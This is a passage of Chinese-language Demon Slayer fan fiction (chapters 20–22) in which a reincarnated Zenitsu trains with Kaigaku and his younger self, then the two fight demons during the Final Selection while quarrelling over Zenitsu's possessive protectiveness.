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一起吗?好想法哦~”我妻善逸笑着将自己的日轮刀放在了旁边的刀架上,转身坐下,认真地看着小善逸。他上辈子可没胆子对自己的师兄提出这样的想法呢!也可能是这辈子的师兄对这个小自己的排斥少了许多吧。
毕竟,当初拜师之前就被自己缠上了,大概就是虱子多了不痒善逸多了不愁的心态。
在我妻善逸在场时,小善逸的胆子要更大一些。他鼓起腮帮子,小声地(并不算小声)嘟囔:“但是!你就和自己的师弟住在一起啊!为什么不能也和我一起住!”
“你以为是我想的吗!!”提到这个狯岳就窝火。当初要不是被我妻善逸的武力威胁加心里压迫,他才不会同意这个变态的要求,结果现在无论做什么都被名叫我妻善逸的狗皮膏药贴住!!想起晚上被不老实的善逸踹醒,自己另翻出来一床被子离废物远远睡下结果再次醒来又被缠上的糟心经历,现在居然被另一个我妻善逸询问为什么不能住一起的事情,稻玉狯岳特别想将他们两个捏成铁球丢出去!
“别想了!!不可能!!”稻玉狯岳气冲冲地走进了房间,然后指向旁边看戏的我妻善逸:“还有你!!和另一个人一起滚出去!!”
“诶?师兄是想离开我吗?”善逸的语调放低,带着点压抑。
“你以为我还吃你这一套吗?!!”狯岳可不是十岁时容易被恐吓的时候了。他大步流星走到善逸身前,一拳就冲着善逸那张可恶的脸揍上去:“你个死变态!!”
“师兄再这样说我真得会生气的哦。”善逸接住师兄朝自己脸上挥出的拳头,翻身压制住生气的师兄,用一种遗憾的语气说道:“抱歉,师兄,在你没成长到能保护自己之前,没办法远离我的。毕竟师兄虽然有很强的天赋,也很努力,但目前还是打不过师弟我的。”
狯岳的招式被完全压制,双手双脚都被善逸束缚住,他恼怒地喊:“起开!”
“师兄?你要保证不会远离我哦?”善逸的声音幽幽的。自从来到桃山上,善逸好久不发神经,差点让狯岳忘记了自己的师弟还是个神经病。
“我!保!证!”狯岳咬牙切齿道。嘁!等他比这个混蛋强了,就离开得远远的!
“这才对嘛。”善逸听着师兄内心的声音,看着那只张牙舞爪朝自己哈气的小猫,内心毫无波澜。没关系,只要师兄永远比不过自己,就不会从自己身边跑开,然后在那个犄角旮旯里被变成鬼的。
善逸将自己的师兄放开,然后在暴怒的师兄面前被狠狠地踩了两脚。
旁边围观的小善逸都要被吓傻了,两个师兄突然就打了起来,他差点尖叫着去喊爷爷。此刻呆呆愣愣地站在哪里,被我妻善逸瞄了一眼。
“还站着干什么?”善逸整理自己刚刚弄乱的衣服,对小善逸说:“去把你的被子枕头带过来。”
“啊?”小善逸呆呆抬头,看向自己的师兄。
“还是说,你不想来了?”
“啊!是!我现在去!!”
20.第 20 章
不管怎么说,小善逸还是达成了目的,晚上拖着被子来到了师兄们的房间中。
狯岳他们居住的房间虽说不是特别大,但是还是够两个十二岁的小孩加一个十岁小孩居住的。
晚上的小善逸睡得特别好,但是被两个善逸的睡姿袭击的狯岳怨气比鬼都重。
第二天一大早,狯岳就以切磋剑术的名义将我妻善逸给拉了出去。两个人乒乒乓乓一阵打,然后狯岳的怨气更大了,丑着脸走向了训练场,更加拼命地训练起来。
之后,这种“切磋-训练”模式,就成了两个师兄弟之间的常态。
这样的模式,比起两个人都闭门造车来说,更加方便了两个人内卷。
狯岳一次次和自己的师弟对砍,然后一次次被师弟打败,心情越来越阴沉;而善逸也被师兄的进步步步紧逼,开发新招式的进度也越来越快。
于是,桃山再次陷入了内卷的风潮之中。
这次的内卷受害者增加了还在调养身体的小善逸。每次见到大师兄,都被大师兄的表情吓到(来自狯岳的迁怒),哭唧唧地连续做了两三天噩梦,梦见自己的师兄变成鬼后吃掉了自己。
最后,桑岛慈悟郎不得不再次从中调停两位弟子之间的竞争。他想到了个好办法,将小善逸推给了两人:“你们两个,每天空出半天的时间教教师弟怎么样?”
桑岛师父打算借这半天时间让自己的徒弟们休息一下,也增进下他们与小善逸之间的感情。至于将小善逸教成什么样这件事没有关系,反正自己还会再教导小徒弟一遍。
然而桑岛师父想得很到位,他的两个徒弟是不内卷了,他们将战场转移到了小善逸身上。
被爷爷献祭给师兄之间的战争的小善逸,过起了真正的魔鬼日子。
在两位师兄的斯巴达教育下,小善逸每天不止被师兄撵在身后跑,还要遭受师兄的斥责与恨铁不成钢的眼神。
于是,在狯岳这么多天的恐怖表情下瑟瑟发抖都没有放弃和师兄们同房间休息的小善逸,在被师兄训练的三天后,带着他的被子逃离了自己的两个师兄,甚至还差点逃离桃山。
当然,小善逸被自己的师兄们抓了回来,继续进行他们的斯巴达训练。
“呜呜呜呜呜爷爷!!我不想训练了呜呜呜呜呜!!”一天,为了逃避训练,小善逸爬到了桃树之上。
“善逸!!”桃树下的桑岛慈悟郎被自己的小徒弟气得吹胡子瞪眼。
“呜呜呜呜对不起爷爷但是师兄们的训练简直不是人练的!!师兄们都是魔鬼!!呜呜呜爷爷我还是离开桃山吧呜呜呜呜我受不了了!!”小善逸抱着桃树的树枝,哭得稀里哗啦,要将这段时间受得所有委屈都倾泻到桃树上一般:“呜呜呜狯岳师兄让我一上午围着桃山跑四十圈!!跑的时候还拿木刀抽我的屁股!!他还骂我是小废物!!呜呜呜太过分了!!”
“咳咳。”自己大徒弟什么样自己也是知道的。桑岛慈悟郎尴尬地清清嗓子,继续问:“那你另一个师兄呢?他总不会骂你了吧?”
“呜哇哇哇!”小善逸哭得更大声了:“他不骂我!!呜呜呜他也让我一上午跑四十圈也就罢了,他还在狯岳师兄抽我屁股的时候拌我!!说这样能增强自己身体的平衡能力,在遇到突发状况时不至于摔倒……”
小善逸的手将脸上的眼泪鼻涕抹成一团:“之后会不会摔倒不知道,反正我跑步的时候都不知道摔倒多少回了呜呜呜……”
哈哈。桑岛慈悟郎再也板不起来脸了,他安慰快哭抽过去的我妻善逸:“我回去说说他们,你先下来,善逸。”
小善逸抽抽噎噎:“我很喜欢你,爷爷。我也很喜欢两位师兄。我也有在努力训练,但是我没办法达到师兄们的期望,练习了很久还是一团糟……”
被弟子的突然直球搞得措不及防的桑岛慈悟郎红了下脸,他继续安慰小善逸:“没关系,善逸,你现在已经做得很好了……你先从树上下来……”
天空中,不妙的乌云已经笼罩了下来,然而树上的善逸依然在磨蹭……随后……
“啪!嚓!!”
“咿呀呀呀呀!!”
小善逸,就这样,成为了“天选之子”。
在桃林中锻炼的我妻善逸看到那道晴天霹雳时就猜测到了即将要发生的事情。当他扯着不情不愿的师兄来到现场时,就见到了被闪电劈得焦黄的小善逸。
狯岳震惊地看看小善逸的新造型,又看看我妻善逸,满脸见鬼了的表情。
好了,现在大善逸和小善逸唯一不一致的发色也基本完成了统一,至此可以伪装成同一个人了。虽然他们本来就都是我妻善逸。
好在,已经预料到这一局面的我妻善逸在捡到小善逸后就将自己的头发留长,现在已经到了可以扎起来的程度,加上发尾颜色、身形与气势的不同,以及脸上的伤疤,大抵还是能将他们两人分清的。走在大街上估计也就是会被说是长得很像的兄弟罢了,不会有人怀疑他们是同一个人。
就是这对兄弟连名字都一样就很奇怪了。嗯,大概会被怀疑是在恶作剧吧,一起报出名字的时候。
在小善逸成为天选雷呼传人的同时,由于他和爷爷充满鼻涕眼泪的交流,爷爷也终于将小善逸的教育权从两位徒弟手底下要了过来。
从师兄手中顺利逃跑掉的小善逸非常开心,哪怕在爷爷手中的训练也不轻松,但是少了抽自己屁股、拌自己腿还骂自己废物的师兄们,小善逸觉得天也蓝了,水也清了,就连狯岳师兄的那张臭脸都变得可爱起来。
小善逸从师兄手中解放了,两个师兄又开始了彼此间的内卷。
桑岛老爷子本想让他们在桃山多修习几年,然而看到他们的情况终究还是一咬牙一狠心,在两位十三岁那年春天,将他们踹下了桃山,前往了藤袭山参加鬼杀队剑士考核。
在下山之前,桑岛慈悟郎拿出了他准备了很久的三件羽织,将它们交给了自己的三个弟子。
桑岛老爷子给狯岳的羽织是蓝色鳞纹,给小善逸的是黄色的鳞纹羽织,比善逸刚来时穿的那件要更明亮一些。而交给我妻善逸的,是一件和他发色相同的黄蓝色渐变鳞纹羽织。
我妻善逸抚摸着手中那件与上辈子不同的羽织,被桑岛慈悟郎揉着头,说:“雷之呼吸,之后就要靠你们三个继承了。”
似曾相识又截然不同的场景,让善逸一瞬间恍惚,却又无比清醒地知道,这辈子的他与上辈子不同。
他扯过旁边师兄的手,在师兄不爽的目光下,郑重地对爷爷说:“我和师兄约定好了,我们两个会一起成为鸣柱,继承您的位置。”
桑岛慈悟郎望着两个即将成为鬼杀队剑士的弟子坚定的目光,也开怀大笑起来:“好啊,我等着那一天。”
我妻善逸与自己的师兄对视,已经将羽织穿上的师兄望见他的眼神,哂笑道:“喂,善逸,可别废物到被我超过啊。”
“师兄!你就不会说些好听话吗?!!”
“抱歉啊,你还用不上我说好听话。”
“师兄!你太讨厌了!!”
小善逸也横叉一脚,穿着新羽织在两个师兄傍边蹦蹦跳跳:“喂!!为什么不加上我!为什么不是我们三个成为鸣柱啊!师兄!!”
“不带你哦,一上午跑四十圈还会被师兄抽到的家伙是当不了柱的。”
“爷爷!!他们两个排挤我!!”
“没关系,善逸,你也排挤他们,你之后自己一个人当柱。”
“爷爷我可以吗?”
“……”
“爷爷你怎么不说话!!爷爷!!”
收拾好东西,带上路费,两个人在小善逸依依不舍的目光下,在爷爷的送别中,离开了桃山前往了藤袭山。
一路上善逸都在观察自己的师兄。上辈子的时候,拿到爷爷赠与的羽织后师兄就将羽织收了起来,压在了箱子的最底下。他当时不知道为什么,直到在无限城遇见了变成鬼的师兄,才大致想通了师兄将那件蓝色鳞纹羽织藏起来的原因。
对于当时
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的师兄来说,跟自己一直看不过眼的废物一起并列成为雷之呼吸的继承人,是爷爷对他的不认可与侮辱吧。所以对于这样一件象征着继承人身份的羽织,狯岳的态度是深深的厌弃,将它藏在自己看不见的地方。
不过,这回的师兄倒是好好地和自己一起穿上了爷爷送的羽织。是不是说明,自己对师兄潜移默化的改变,有了一定的成果呢?
经过三年的桃山修行,两个人的身量都拔高了许多,到了一米六左右的个头。
爷爷交给他们的羽织做得很大,大概是想要他们长大后依然适宜,但是披在现在的善逸身上就难免显得不合适,像是小孩子穿了大人的衣服。
善逸为这件事烦恼过,但是在他的师兄身上,这件略微宽大的羽织,就显得刚刚好了。
明明现在的师兄和自己一样大。善逸的眼神仔细地在师兄身上寻找原因。啊,大概是师兄的身板比自己更加厚实吧。
前世在桃山时,师兄的肌肉就很发达了,相反自己却一直到不了师兄的那种程度。当时的自己以为是师兄刻苦练剑的结果,但是现在在和师兄一起努力了很久,他自己的身板还是没有师兄的厚实。
唉,可能这就是独属于师兄的天赋吧。
桃山距离鬼杀队考核剑士的藤袭山不近,加上爷爷是临时决定让他们两个参加此次的考核,他们出发时就已经离考核开始的时间不远了。于是,两个人日夜兼程,总算是在考核开始之前到达了藤袭山。
善逸和狯岳在紫藤花包围的山脉之前停下,站到那群参加藤袭山考核的人群之中。今天就是考核开始的日子。善逸无聊地观察着身边参加考核的人。
话说上辈子的自己还是被爷爷扇了好几巴掌才肯来参加考核的,当时满脑子都想着“就要在藤袭山上被鬼杀死了”之类的话,根本没注意当时参加考核的人呢。
之后才想到,炭治郎、伊之助,还有香奈乎和那个哥哥是风柱的不死川玄弥,都是和他一起参加考核的人。真得很巧,但是当时的他完全没注意到!
但是这辈子应该不会在考核中碰见他们了吧。毕竟,自己可是提前参加了考核。估计这时候的伊之助还在山中当野猪,炭治郎也还在家里卖炭。这么说来,他岂不是比那两个人要大了!!
善逸的脑海中突然闪出小剧场:小小的炭治郎和小小的伊之助站在他面前鞠躬老老实实叫“前辈”,给自己揉肩捏背,在自己满意了之后,自己严肃的说:“好了,鉴于你们的对前辈的尊重,前辈现在要告诉你们杀鬼的秘诀……”呜哇,想想都超爽的!!
我妻善逸愉快地想着,同时眼神漫无目的地扫过等待的众人,突然在人群中发现了点熟悉的地方。
诶,这个人的衣服纹路……好像那位拼接羽织的水柱啊……善逸严肃地看着那片眼熟的黄绿色龟甲纹路。难不成是同一个人吗?
善逸寻着衣服向上看,那个人脸侧带着个木制的狐狸面具,漏出来的头发颜色是桃色的。
应该不是。他记得那位水柱的头发是黑色的。
善逸的眼神不感兴趣地从那个人身上飘走了。
终于,人群中隐隐的说话声停歇,考核开始的时间到了。
两位像是娃娃一样,长相完全相同的白发小女孩来到他们面前为他们讲解考核的注意事项。
“藤袭山考核时限七天。”靠左的那位女童率先开口。
“藤袭山上有着大量被鬼杀队剑士捕捉到的鬼。”靠右的女童跟上讲话。
“在藤袭山生存七天,七天后依然存活就可以加入鬼杀队。”
两位白发女童同时弯腰鞠躬:“祝诸位武运昌隆。”
“走了走了!!”旁边心急的人已经握着自己的刀,从紫藤花围成的大门中一马当先地闯了进去,接着,参加考核的人也陆陆续续进场。
“走了。”狯岳甩下了自己不知为何在发呆的师弟,进到了藤袭山当中。
善逸望着师兄的背影,也腿部用力跟了上去:“师兄!!等等我!!”
21.第 21 章
善逸和师兄进入了藤袭山当中,选择了一个方向离开了大部队。
两人轻巧地穿梭在树木与碎石之间,突然,善逸的耳朵动了动,捕捉到了恶鬼的动静。
“师兄,三点钟、六点钟以及十二点钟方向各一只鬼。”
果不其然,在善逸话音落下来三秒后,从三个方向分别冲出来了一只恶鬼,极速向着善逸与狯岳冲来。
“来了!!让我松松筋骨吧!渣滓们!!”狯岳猛然见到鬼,嘴角扬起张扬畅快的弧度,小腿发力蹬地,一个闪身向着身后的鬼冲过去,同时从腰间抽出日轮刀,向着鬼伸出的爪子与头颅极速砍去。
“唰唰!!”
轻松砍掉恶鬼伸出来的鬼爪的狯岳迅速再次挥刀斩向恶鬼的脖子,短时间内的两下攻击,直接杀死了后方的恶鬼。
善逸与师兄一起生活了这么久,早就养成了默契,此时不必眼神交流,在师兄转身的一瞬间,善逸就拔刀冲向了左侧的鬼,同时向右挥出一道斩击作为阻挡。在善逸的极速攻击下,恶鬼也轻松地化作了飞灰。
砍掉恶鬼头颅的狯岳看也不看地上烧成灰的鬼,转身冲向第三只。
这只鬼被善逸挥出的斩击所伤,从肩膀到大腿斜着出现了一道深可见骨的伤痕,此时正在缓慢愈合,但狯岳根本没给它愈合伤口的机会!他将力量加成在腿部,眨眼到达了恶鬼面前。
然而这个鬼知道自己目前无法应战,连连向着树后躲去,繁茂的粗壮树枝让狯岳找不到合适的角度出手。
“嘁!废物!接好了!”狯岳干脆没有用刃斩击,而是用刀背猛的抽击,直接将恶鬼抽向了别的方向。
而那个方向中,善逸正在蓄势待发。
当恶鬼依旧空中时,善逸的攻击就已经到了。
“唰啦!”
善逸轻盈落地,刀已经重回了刀鞘,与此同时,恶鬼的头颅与身体分开落下,在地面化作飞灰。
之后又来了两波鬼,狯岳与善逸配合着,用最快的速度杀死了鬼。
解决完第三波突袭的恶鬼,两人一至决定休息一下。
他们寻找到了一块大石头,靠在石头上坐了下来。
然而,天不遂人愿。
“师兄!注意警戒!九点钟方向!有鬼来了!”善逸通过自己的听力注意到了前方不远的树林中不同寻常的动静。
狯岳站起身,一手扶刀鞘一手握住日轮刀的刀柄,认真地盯着善逸警戒的地方,同时还不忘出声和师弟拌嘴:“真是恶心的听力啊,善逸。”
我妻善逸也扶上了腰间的日轮刀,伏低身子,两脚前后分开,做出一之型的起手式:“师兄!这时候还说我坏话!先注意恶鬼比较好吧!”
藏在树木后的鬼发现两个人已经注意到了他,不在埋伏,也从藏身的树后跑了出来,在鬼被加强的速度之下,眨眼间就到达了两个人的面前,尖利的鬼爪向前挥舞,带着利风直直抓向两人:“吼!!”
然而,鬼的速度再快也快不过修行了雷之呼吸的两位师兄弟。
狯岳微微侧身躲过恶鬼扑上来的利爪,右手顺势直接挥出日轮刀,“唰”一下,恶鬼被砍中的手臂溅出黑紫色的血,手臂掉落到了地上。
“嗷吼——”
狯岳甩掉刀上沾染的粘稠血液,两三步撤远,转身回头,嘴角抽搐地看着面前这个长得像油炸大麻花的鬼:“咦,好恶心的鬼。”
“没办法。”善逸躲开朝着他这边飞溅的鬼血,转身拔出刀:“毕竟我们之前见到的那种人形恶鬼也只是鬼中的一部分,另一部分鬼都长得随心所欲的。”
偷袭善逸两人的这只鬼最惹人注意的就是它像麻花一样扭曲着的肉质脖颈,上面还有着密密麻麻似鱼鳞般排列的肉瘤和坑洞,四肢和脑袋就插在这粗大的脖子上,脑袋小小一点,大概是拳头大小,上面紧密排布着鬼的五官,两只眼睛的眼角部分甚至扭曲在一起,睁开眼皮,甚至可以看到两颗眼球上的螺旋花纹。
“yue!”狯岳受不了,咬牙错开自己与恶鬼对上的视线:“喂!废物!杀掉它!!”
“诶~师兄!我也会觉得恶心啊!”嘴上说着这样的话,善逸的日轮刀已经拔出,“刷拉”一下,伴随着雷光在眼前闪过眼前这个光是注视都让人觉得恶心的恶鬼看上去坚硬的麻花状脖子上被砍出了个大大的裂口,伴随着闪电状的裂伤,恶鬼的脖子摇摇欲坠。
“哈啊啊啊啊!”恶鬼的口中发出尖厉的叫声,声音尖细又刺耳,震动着两个人的鼓膜。
善逸感受着日轮刀上传递过来的震颤感觉,若有所思地注视着眼前的鬼。嗯,比想象中的要坚硬许多,是那些鳞片与肉质结构的加成吗?比之前杀掉的几只鬼都强啊。看上去不像是藤袭山上恶鬼的一般水平。怎么回事?这种程度的鬼都被放进了藤袭山吗?
“你行不行啊!废物!”在他身边的狯岳单手捂住自己的耳朵,另一只手拔出了腰间的日轮刀,左脚踩上旁边的树木借力,“嗖”一声,狯岳的身影已经来到了恶鬼的眼前:“雷之呼吸 二之型!”
日轮刀迅捷地砍向恶鬼的脖子,瞬间发动了三次斩击。
“稻魂!!”狯岳的身形避开恶鬼落下,而恶鬼的脖子已然完全被砍断。
“啊啊啊啊啊!!”恶鬼临死之前发出惨烈的叫声,近距离感受到尖叫的狯岳一瞬间感觉自己的耳膜鼓痛,有什么液体从耳朵中流出。
“喂!师兄!”注意到师兄耳朵流出了鲜血,善逸着急地来到了师兄的身边:“没事吧师兄!!”他将没拿日轮刀的左手向前伸出,靠近狯岳流血的耳廓,想要触碰师兄的耳朵。
“起来!”狯岳被师弟突然的靠近激得身体一抖,烦躁地将善逸的手打开,握着刀的那只手将刀上残留的鬼血抖掉重新归鞘。“要不是你废物到没有一次解决,我也不会被鬼振伤耳朵。”说着,手从耳朵上摸过,眼睛看向手心中擦下来的血,“嘁”了一声。
“但是啊,师兄!!”判断师兄大概没有什么大问题,善逸才收回担心,跟在继续向前的师兄身后嘟嘟囔囔:“明明只要等一下,那些裂伤就能把鬼给杀死啊~是师兄你非要上去再砍一刀的……”
“哈?这么恶心的鬼在我眼前多晃一秒都让人想吐!”
“呐,现在是不想吐了,结果被尖叫声搞到耳朵流血……”
狯岳头顶青筋直跳,转身阴沉地看向这个一直在吵闹的废物:“你说什么?再说一遍?”
善逸差点一头撞到突然转身的师兄身上。他急忙刹车,心虚地摆手:“哈哈哈,没什么,师兄,我们继续吧。”双手放在了狯岳肩上,强硬地将师兄转身。
“哼!”
天色逐渐亮了起来,杀了一晚上鬼的善逸也感觉到了身体的疲惫。他们为了赶上藤袭山考核的时间,日月兼程赶路了半个月,此时的身体正是疲乏的时候。善逸感觉自己一闭眼就能睡着。
“咕噜噜~”饥饿的声音从腹中传来。好了,现在是又累又困又饿了。
他们来到了一条小溪旁,狯岳从树上砍下来两只树枝用日轮刀削尖,善逸下河抓了四五条鱼,剖开肚子扔掉内脏清洗干净,将他们交给了狯岳。狯岳利用身上携带的打火石升起了火堆,将鱼抹上盐和调料放在火堆旁烤制。
等待鱼烤好的时间里,狯岳感觉肩膀一重,他那废物师弟已经将头靠在自己的肩膀上睡着了。
“哼,废物。”狯岳不屑地说,然而出口的话语极轻,动作也变得柔和
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,翻动烤鱼的时候尽量不让肩膀做出太大的动作。
这一温馨的举动直到善逸开始冒出鼻涕泡时截然而止。狯岳正拿过烤好的鱼,一侧脸就看到了那个非常不详的泡泡,随着善逸的呼吸一大一小,差点沾到了狯岳的羽织上。
那一瞬间,什么师兄弟之间的情义之类的东西全部消失,取而代之的是恶心的像蟑螂一样的师弟给我全部去死吧!!!
腿部的动作甚至没过大脑,像是膝跳反射一样,在看到恶心的师弟的一瞬间,狯岳的脚就冲着善逸的屁股踹了上去,“邦铛”一声,原先靠着师兄幸福睡着的我妻善逸就倒在了地上。
狯岳恶心地抖抖踹了善逸的脚,甚至不愿意仔细去看善逸靠过的那片衣服上有无沾上什么不妙的东西。
狯岳,因为恶心的师弟,那一瞬间,悄悄碎掉了。
被踹到地上的善逸默默地爬了起来,狯岳以为会有的不满叫唤并没有出现,他只是沉默地从师兄手中拿过了烤鱼,一口一口地将他们吃进了肚子里。
等到狯岳一遍遍安慰自己鼻涕泡没占上自己的衣服,重新将自己拼好,才注意到善逸的异常。
吃完两条烤鱼的善逸转头,狯岳终于发现师弟为什么这么不对劲:他的废物师弟依然双眼紧闭,鼻子上还在冒着泡泡,全然就是梦游中的样子!!
梦游的善逸指指还在烤着的三条烤鱼:“师兄我可以再吃一条吗?”
狯岳凝重地点头。继续观察自己的师弟。
虽然闭着眼睛,依然不妨碍善逸得到狯岳的指令。他拿起地上的另一条鱼,顺便将最后的两条塞到了狯岳手中:“师兄,你也吃。”
狯岳味同嚼蜡地吃完了自己的晚饭,然后继续观察自己的外星人师弟。
只见吃完饭的善逸跟着师兄乖乖地洗干净了手脸,认真地找到了一片安全的树荫下,将自己的羽织脱下来垫在地上铺好,然后拍拍羽织对狯岳说:“师兄!来这里睡觉。”
狯岳嫌弃的拒绝,然后被我妻善逸强硬地拉到了羽织上。睡着的善逸更加贴心,他将胳膊挡在师兄的眼前,为他挡掉日光:“好了,师兄,睡吧。”
狯岳被善逸有力的四肢捆绑着挣扎不开,加上多日的赶路和晚上的杀鬼确实让他感到疲惫,被善逸纠缠着的睡姿也被身体早已习惯,进到藤袭山就心情紧绷的狯岳竟就这样睡着了。
等到他再次醒来睁眼,除了熟悉的自己师弟的蠢脸之外,不熟悉的山林中的沙沙声让他是身体紧绷起来。
他从师弟的怀抱中挣脱出来。根据眼前的阳光来看,此时已经是下午。
他竟在这危险的藤袭山中,睡了大半天!!
“喂!!废物!!醒醒!!”狯岳朝旁边伸手,毫不客气地将师弟推醒。
睡足了的善逸揉着眼睛坐起来,迷迷糊糊地问:“师兄……饭还没好吗……”
“蠢货!”狯岳站起身来,居高临下地俯视着我妻善逸:“饭被鬼吃了!”
善逸懵懵地伸手揉自己的头发。他那头黄色的毛发被他揉的像是鸡窝。半晌,他终于想了起来:“哦,我好像吃过了……”
“咕噜噜~”
善逸低头看向自己依然在发声的肚子,然后抬头不可思议地看向师兄:“我真得吃过了吗!!怎么肚子还在响!!”
狯岳被师弟突然的大声吓了一激灵:“小声点!!蠢货!!”
看到恢复了一惊一乍的师弟,他突然有点想念睡觉前那个沉稳的师弟了。
虽然鼻子上有着恶心的鼻涕泡,像是蟑螂一样。算了,都好恶心。最好还是都扔掉吧。
幽幽的声音从下方传来:“我听到了哦……不许扔掉我……”
“切!恶心!!”
22.第 22 章
善逸将充当垫子的羽织从地上捡起来,拎着抖了抖,将上面沾到的灰尘泥土抖下来,才重新穿回了自己的身上。
他们回到早上抓鱼的地方又再此解决了一顿饭食,随后收拾好自己,将火焰完全扑灭,拿好日轮刀,准备迎接又一个杀鬼的夜晚。
他们入山时选择了向北的方向,此时正一点点在山中搜寻鬼的痕迹。
经过一个白天的睡眠,两个人的因长途赶路而略显疲惫的精神都好了许多,不再着急于清理干净鬼之后寻找能够休息的地方,更加专心地杀起鬼来。
藤袭山上的恶鬼密度其实不算大,然而善逸跟在自己幸运e的师兄旁边,一路上总是遇见恶鬼。
能和师兄合作杀鬼善逸很开心,然而藤袭山中的鬼大多不强,除了第一天遇见的那只像油炸大麻花一样的异形鬼外,其他的鬼根本轮不到他们两个合作。加上恶鬼逐渐被山中的剑士杀死,没再出现多只鬼同时出现的场面,让这场杀鬼合作逐渐成了比拼出刀速度的争夺。
狯岳的速度根本比不过将一之型修行到巅峰的我妻善逸,每每遇到鬼时,还没拔出刀,善逸的日轮刀已经重新入鞘,再一看,恶鬼也变成了灰。
狯岳还记得师父让他们参加考核时所说,山上的修行对他们如今的实力进益不大,与恶鬼的实战才是最好的磨砺。然而无法斩杀鬼,就无法在实战中提升自己的实力。狯岳开始焦躁起来,但是他的速度不如师弟是无法短时间内解决的问题。着急的狯岳转头望向我妻善逸这个让他烦躁的源头,发现这人还在微笑着哼歌,一幅心情很好的样子。
太气人了!狯岳生气地转回头,心中的怒火熊熊燃烧。蠢货!废物!只会乐呵的傻子!
狯岳的注意力逐渐转移到身边的蠢货师弟身上,终于,在善逸再一次将手握在日轮刀上时,狯岳反手用刀柄挡回善逸即将抽出的日轮刀,同时手中刀剑方向一转,率先砍下了扑上来的恶鬼的头颅。
善逸正沉浸在和师兄一起合作杀鬼的幸福之中,完全忽视了师兄内心的焦躁噪音。然而从师兄挡下自己拔刀的动作,开始抢自己刀下的鬼开始,善逸昂扬的心情开始变得不美妙起来。
师兄,是不想和我继续合作杀鬼,所以在用这种方式抗议吗?和我一起杀鬼就这样让师兄感到烦躁吗?
真是太差劲了,师兄!怎么能因为不想和师弟在一起就用这种方式表达不满呢?万一受伤了怎么办?
自从得知师兄的差劲运气,善逸就很为狯岳的生命安全担忧。万一自己收刀不及,或者拔刀太快,让师兄的手一下子撞到自己的日轮刀刀刃上怎么办?!
虽说相信师兄的实力,但师兄的运气太邪门了,让善逸一直心中不安。
然而,即使师兄内心非常烦躁,却宁可从自己手下抢鬼也不开口,好似完全忘了他们曾经约定过有烦恼就要对自己讲出来的话语。他也赌气似的,开始抢夺师兄刀下的鬼。在遇到恶鬼之前,两个人先一顿招式互相阻碍,这对之前还默契杀鬼的师兄弟像是打架一样。
善逸的速度总是比师兄要快,加上他的听力超群,能够提前注意到恶鬼出现的方位,所以,之后朝着他们两个来的鬼全部死在了善逸的日轮刀之下。
被他抢下了鬼越多,师兄的心声愈发烦躁刺耳,甚至还有非常不妙的动静。善逸的眼神越发冷冽,但是刀下的动作不变,倔强地和师兄对峙着。
“喂!废物!”眼瞧着向着他突袭来的鬼被我妻善逸一剑斩首,狯岳不满地啧舌,终于开口,语气恶劣地对转过身来的善逸说:“你自己是找不到鬼吗?总是抢向我这边跑来的鬼杀干什么。”
善逸正在甩刀上的血,听到师兄的话,他微微半阖眼睑,手上动作不停,将日轮刀插回腰间,低低的声音带着挑衅:“师兄,你是因为出刀速度没我快,所以在朝我发脾气吗?”
“你说什么呢!废物!”听到这话,狯岳将牙齿咬的咯吱响,握着刀的双手鼓出青筋:“所以说,我们这样凑在一起只会互相影响互相抢夺吧?不如还是分开为好。”
正在探寻前路情况的我妻善逸停下了自己的脚步,转身抬眼,那双明黄色的眼睛望向狯岳的双眼,脸上面无表情,但隐隐从眼瞳深处闪出的蓝色电光,呼应着脸上闪电纹的伤疤,非人感扑面而来。
他默默地盯着提出要和自己分开的师兄,直盯到狯岳不爽地头顶青筋直跳,才终于开口。
“师兄,为什么这么想和我分开呢。”
他一开口,寒冷的气息随着他的话语流出,不带起伏的音调,和他往日里咋咋呼呼的样子完全不同,让狯岳感到一瞬间的陌生。
善逸身周的低气压让狯岳几乎喘不过气来,像是空气都在这句话中凝固,狯岳的烦躁像是撞在蛛网上的小虫子一般不得动弹。但是他依然不甘心,在善逸沉沉的注视之下,从喉咙中挤出话语,让自己的语气尽量变得和缓:“我们两个,分开来才能杀掉更多鬼吧?”
困在善逸身边,那些扑上来的恶鬼大多被善逸一刀了结,他根本找不到在实战中变强的机会!
然而,善逸没有被他的理由说服。他微微歪头,依旧是那种冰冷非人的目光,话语却差点让狯岳气死:“没我在身边的话,师兄会一不小心死掉吧?”
“哈?你在瞧不起谁?!”狯岳被善逸面无表情说出的嘲讽的话气得火冒三丈,他冲上去揪起善逸的衣领,眼睛正对着我妻善逸那发病时的阴沉眼神,从齿缝中挤出声音:“你是觉得我会在这小小的入队考核中被这群弱小到像是虫豸一样的鬼给杀掉吗?!!”
我妻善逸近距离地对上师兄愤怒的眼神,用一种分外不解的语气说到:“师兄,你的运气你自己不了解吗?每次离开我身边,你都在被鬼追杀呢。”
我妻善逸的眼神逐渐坚定,用一种令狯岳恼火到恨不得将他头打爆的担忧神色看向狯岳,眼中的关切与担心时那么真实:“你看啊,师兄,你根本没办法保护好自己嘛。一不小心就会被鬼杀掉,一不小心就会被鬼变成鬼。”
善逸伸手,握上师兄攥自己领子的两只手,用一种轻柔但无法挣脱的力道将师兄的手从自己的领子上取下来,带着师兄的手紧握在胸前,用那种充满保护欲的温柔腔调对自己想要离开的师兄说:“所以说,师兄,你只有一直待在我身边才是安全的。你这样想安全地活下来,怎么会感受不到呢?只要在我身边,师兄,我会变强到能够保护你不受任何危险。”
狯岳被善逸那种充满控制欲的恶心腔调熏得胃部发酸,他试图将自己的双手从善逸的手中抽出,却被更加强硬地力道阻止,狯岳感受着自己手指上那种几乎被掰断的力量,直直地看向善逸的眼睛:“废物,你是觉得我永远不会超过你吗?”
“怎么会呢?师兄可是学会雷呼二到六之型的天才啊。”善逸低下头错开师兄的视线,将自己手中师兄攥起来的拳头捋顺,让师兄和自己掌心相贴,随后他的手顺着师兄的指缝插入,卡进师兄的手中,十指相扣。他满意地看着自己和师兄牵在一起的手,带着笑意的语气继续道:“只是,现在的师兄还没办法打过我,所以只能由我来保护师兄了。”
狯岳感受着自己手掌的触感,那种被自己的废物师弟牢牢掌控的感觉,他恶心地抽回手,狠狠将善逸的手甩开。最初见到善逸的他还弱小,在快要被鬼杀死之际被善逸救下,为了之后不被鬼吃掉寻求了善逸的保
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护。因为自己试图逃脱的理亏,所以被善逸一直贴着烦着,他也没有抵抗。在桃山的三年中,善逸逐渐放松,以至于他差点忘记了这个怪物最开始的样子。
他当然知道善逸最开始就是这鬼样子,没想到在桃山训练的三年里,一点都没有消磨掉他对于自己恶心的保护欲。
